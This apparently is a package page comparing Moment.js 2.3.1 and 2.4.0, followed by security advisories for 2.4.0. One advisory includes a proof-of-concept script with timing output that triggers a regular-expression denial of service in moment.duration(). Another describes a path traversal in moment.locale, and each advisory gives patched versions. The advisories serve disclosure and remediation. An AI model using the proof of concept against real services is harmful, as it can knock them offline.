Moment.js saw a notable update moving from version 2.3.1 to 2.4.0, solidifying its position as a dominant JavaScript library for date and time manipulation. Developers relying on Moment for parsing, validating, formatting, and displaying dates should note that while the core functionality remains consistent, this incremental update brought refinements and potential bug fixes under the hood. Both versions share the same suite of development dependencies, including Grunt for task automation, Nodeunit for testing, and Uglify-js for minification, ensuring a robust and well-tested library.
The repository and author information remain identical, indicating a continuous development effort led by Iskren Ivov Chernev. The key difference lies in the version number and the releaseDate. Version 2.4.0 was released on October 27, 2013, succeeding version 2.3.1 released on October 9, 2013. For developers, this means a newer, potentially more stable build is available. While specific changes aren't detailed here, upgrading to 2.4.0 is generally recommended to benefit from the latest improvements and potentially address any reported issues present in the prior version. This focuses on providing the best handling of date and time operations in JavaScript projects. Developers can easily integrate either version into their projects via npm, utilizing the provided tarball URL for direct download if needed.
All the vulnerabilities related to the version 2.4.0 of the package
Regular Expression Denial of Service in moment
Versions of moment
prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration()
.
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Please update to version 2.11.2 or later.
Regular Expression Denial of Service in moment
Affected versions of moment
are vulnerable to a low severity regular expression denial of service when parsing dates as strings.
Update to version 2.19.3 or later.
Path Traversal: 'dir/../../filename' in moment.locale
This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr
is directly used to switch moment locale.
This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).
Sanitize user-provided locale name before passing it to moment.js.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory: